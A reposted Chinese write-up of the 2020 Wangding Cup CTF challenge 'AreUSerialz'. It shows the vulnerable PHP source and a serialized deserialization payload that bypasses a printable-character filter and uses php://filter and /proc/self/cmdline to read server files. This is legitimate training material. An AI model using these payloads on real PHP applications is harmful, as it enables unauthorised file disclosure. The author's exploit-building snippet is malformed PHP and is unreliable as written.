网鼎杯2020php反序列化,2020-网鼎杯(青龙组)_Web题目 AreUserialz Writeup

0x02 AreUSerialz

关于s大写小写问题,可以看p神在圈子里发的,我在最后付上截图

考点: php反序列化 php特性 利用链构造

9cd30bc67c355f0e924cf3c93baddf6f.png

1.打开页面得到代码如下:

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}

public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

$res = $this->read();

$this->output($res);

} else {

$this->output("Bad Hacker!");

}

}

private function write() {

if(isset($this->filename) && isset($this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

$res = file_get_contents($this->filename);

}

return $res;

}

private function output($s) {

echo "[Result]:
";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}

}

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)

if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {

$obj = unserialize($str);

}

}

2.简单看下代码,反序列化操作,protect里面可控:

01.自己构造一下利用链,主要是绕过 is_vaild 函数,它规定了序列化内容中只能包含ascii可见字符,如果出现其他的字符则会返回false

873906a89403caafc01de0caed1c51a2.png

02.因为构造成功的内容中,肯定会包含%00,因为类型是protect类型,要给添加标记,主要坑点在这,绕过这个的限制

03.我们构造利用链,输出序列化内容,我们自己构造exp,直接读不知道为啥读不到,相对路径的问题???,比赛就用伪协议读一下:

highlight_file(__FILE__);

class FileHandler {

protected $op=2;

protected $op=filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";

protected $op=loecho;

}

$FileHandler = new FileHandler();

$test = serialize($FileHandler);

echo $test;

04.先得知道路径,我们通过 /proc/self/cmdline 知道配置文件路径 /web/config/httpd.conf,通过配置文件知道目录的路径/web/html

直接读一下Flag

运行结果如下:

得到序列化数据:

7d77cf9b1e99c9ad5f502602f08ea386.png

04 修改下Payload,主要是 %00,进行标记,然后进行Protecte绕过,改为 16进制\00\00或者空格,绕过字符限制

O:11:"FileHandler":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:10:"\00*\00content";s:6:"loecho";}

*

str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";S:10:"\00*\00content";S:6:"loecho";}

1. Paylaod打过去,看结果:

fa96b4cfe2f173e84b6e561320d3c94a.png

我们使用伪协议读的,Base64解码一下:

58467139931da840ea09be75c84277a4.png

相关资料:

01. 在线复现: https://buuoj.cn/challenges

02. 反序列化基础: https://bealright.github.io/2019/08/12/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0(%E4%B8%80)/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/560643.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

物理实验数据处理(c语言)

看程序应该能看懂怎么输入&#xff0c;我就不写具体输入什么了 1.转动惯量的测定 1.不同物体的摆动周期 #include<iostream> #include<cmath> using namespace std;int main(){double pi3.14,jzhi0.187e-4,jjia0.321e-4;double t0,t1,t2,t3,t4,t5;double k,j1,j…

统计csv词频_分词词频统计

网上随便找段文字&#xff0c;就以Power BI官网上这段文字为例好了&#xff1a;想要统计其中的词频&#xff0c;实现如下图的效果&#xff1a;解法1&#xff1a;使用输入法词库其中的难点无疑在分词了&#xff0c;中文不像英文可以按空格拆开分词&#xff0c;仅仅单靠Power Que…

linux 开启关闭tomcat服务器端口,linux系统安装、启动和关闭tomcat

Tomcat 可充当一个完全独立的 web 服务器。Tomcat 最大优势在于 servlet 和 JSP 引擎。安装 tomcat:Sudo yum install -y tomcat-*启动 tomcat:[userlocalhost ~]$ /etc/rc.d/init.d/tomcat start[userlocalhost ~]$[userlocalhost ~]$ /etc/rc.d/init.d/tomcat status[userloc…

利用matlab绘制图形

目前存在的一些问题&#xff1a; 1.第一题的两个图像无法重叠 2.最后一个题的第一个图是六瓣&#xff0c;而我写的是八瓣 感谢张同学给我指出来&#xff0c;目前我正在思考解决方法 第一个的话我以为把框缩小就可以重叠了&#xff0c;但是今天试了一下还是分开的&#xff0c;还…

haddler处理队列 netty_Netty堆外内存泄漏排查,这一篇全讲清楚了

上篇文章介绍了Netty内存模型原理&#xff0c;由于Netty在使用不当会导致堆外内存泄漏&#xff0c;网上关于这方面的资料比较少&#xff0c;所以写下这篇文章&#xff0c;专门介绍排查Netty堆外内存相关的知识点&#xff0c;诊断工具&#xff0c;以及排查思路提供参考现象堆外内…

linux 硬盘大小 命令,linux 查看磁盘空间大小的命令和方法

这篇文章主要为大家详细介绍了linux 查看磁盘空间大小的命令和方法&#xff0c;具有一定的参考价值&#xff0c;感兴趣的小伙伴们可以参考一下,有需要的朋友可以收藏方便以后借鉴。1.Ubuntu 查看磁盘空间大小命令df -h Df命令是linux系统以磁盘分区为单位查看文件系统&#xff…

matlab GUI 设计 自学笔记

图形用户界面&#xff08;Graphical User Interface&#xff0c;GUI&#xff09;&#xff1a; 用户与计算机进行信息交流的窗口。 设计图形用户界面的方法 调用建立用户界面控件的函数 使用MATLAB提供的GUIDE工具进行可视化设计 控件对象及其操作 &#xff08;1&#xff09…

grub shell 错误_各种情况GRUB损坏进不了系统的解决方案

1.在磁盘分区表变动之后&#xff0c;比如删除了grub.cfg所在分区的前一个分区&#xff0c;导致分区号前移一位时&#xff0c;开机显示 grub rescue> 。处理方法&#xff1a;(假设原来grub.cfg在/dev/sda4&#xff0c;而现在变成了/dev/sda3)ls(查看分区)ls (hd0,7)/boot/(查…

linux 系统盘无法ls,linux – ls:阅读目录.:输入/输出错误

当我尝试在已安装的硬盘上使用“ls”时,我的系统引发了I / O错误.我在用hadoophbase1:/hddata$uname -aLinux hbase1 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed Aug 14 16:19:23 UTC 2013 x86_64 x86_64 x86_64 GNU/Linuxhadoophbase1:/hddata$dfFilesystem 1K-blocks Use…

matlab guide对话框+滑动条+弹出式菜单+列表框的使用

文章目录前言matlab数据传递概观对话框创建利用滑动条实现颜色调控利用弹出式菜单选择并输入文本框利用列表框选择并输入文本框前言 我觉得gui无非就是给程序加了件衣服&#xff0c;其实具体的程序我们都会写&#xff0c;我们唯一不明白的是那几个部分数据之间的传递&#xff…

流放之路材质过滤怎么设置_松下除湿机怎么样 松下除湿机款式有哪些型号【详解】...

马上南方就要进入梅雨季节了&#xff0c;潮湿的天气容易滋生细菌&#xff0c;可能会导致人们出现过敏现象&#xff0c;所以很多家庭都选择购买除湿机&#xff0c;现在市场上的除湿机不是很多&#xff0c;其中松下的除湿机比较受欢迎&#xff0c;所以小编我就来跟大家说一说松下…

matlab图形句柄+图形对象+图形对象的属性+对象操作

文章目录前言&#xff1a;图形对象&#xff1a;图形句柄&#xff1a;图形对象的属性&#xff1a;对象的基本操作figure对象(图形窗口)figure()函数&#xff1a;clf()函数清空当前图形窗口&#xff1a;axes坐标轴对象image()line()text()前言&#xff1a; 下面这些是为了更好地…

linux用户开放crontab权限,linux – / etc / crontab权限

/ etc / crontab文件具有以下权限&#xff1a;-rw-R – R–我知道这个文件是用于系统cron作业的,其他用户不应该有权修改它.当前权限允许所有用户读取对文件的访问权限,使他们能够查看内容.是否有必要让所有用户都能读取/ etc / crontab&#xff1f;我相信所有用户都不应该知道…

echart 高度 不用 不撑满_注意厨房台面高度及细节 装出省心舒服 装出事半功倍...

厨房的装修设计最好还是细节做得好&#xff0c;细节做得能达到事半功倍的效果&#xff0c;厨房台面高度如何设计才是最合适呢&#xff1f;我们一起走进包头装修网了解一下吧&#xff01;下面三个台面的设计细节&#xff0c;也许就能让你家的厨房突然变得好用起来——哪怕你可能…

利用matlab guide制作简易计算器

前言&#xff1a; 当然了这个太简单了&#xff0c;新手可以借鉴一下&#xff0c;举一反三的话还可以添加一些功能或者简洁一些。比如下拉框啊之类的 而且呢&#xff0c;这个你弄明白了&#xff0c;所有运算有关的&#xff0c;输入输出有关的&#xff0c;都大致相同。 实现过程…

linux复制目录命令夹,linux复制目录(文件夹)和打包命令

linux复制目录(文件夹)和打包命令复制目录命令&#xff1a; cp 需要复制的目录 -r 目的目录 (注意带参数-r)压缩文件&#xff1a;zip -r 压缩后文件名 需要压缩的目录喎?http://www.Bkjia.com/kf/ware/vc/" target"_blank" class"keylink">vcD4KP…

c#怎么拟合函数得到参数_吴恩达老师课程笔记系列第32节 -正则化之代价函数(2)...

第32节 -正则化之代价函数(2)参考视频: 7 - 2 - Cost Function (10 min).mkv 上面的回归问题中如果我们的模型是&#xff1a;我们可以从之前的事例中看出&#xff0c;正是那些高次项导致了过拟合的产生&#xff0c;所以如果我们能让这些高次项的系数接近于 0 的话&#xff0c;我…

Matlab guide菜单+快捷菜单的使用

菜单选择&#xff1a; Opening函数&#xff1a; openingFcn执行于窗口可见之前&#xff0c;这个时候你想做什么的话可以把代码写进去 function plott_OpeningFcn(hObject, eventdata, handles, varargin) t1/200:1/200:1; plot(t,sin(2*pi*t*10),r);几个回调函数&#xff1a; …

linux include 编译,linux-如何使用OpenSSL include编译.c文件?

linux-如何使用OpenSSL include编译.c文件&#xff1f;我正在尝试编译一个包含以下内容的小.c文件&#xff1a;#include #include #include #include 在我拥有.c文件的同一文件夹中&#xff0c;我拥有带有所有这些文件(以及更多文件)的/ openssl&#xff0c;也在突触包管理器中…

c向文件中插入数据_如何把数据写入顺序文件中,VBA代码中Write#语句的利用

大家好&#xff0c;我们今日继续讲解VBA代码解决方案的第132讲内容&#xff1a;使用 Write #语句把数据写入打开顺序文件中。在上一讲的内容中我们讲了打开一文本文件来写入数据的两种方法有&#xff1a;Append或Output&#xff0c;那么问题来了&#xff0c;如何往打开的文件中…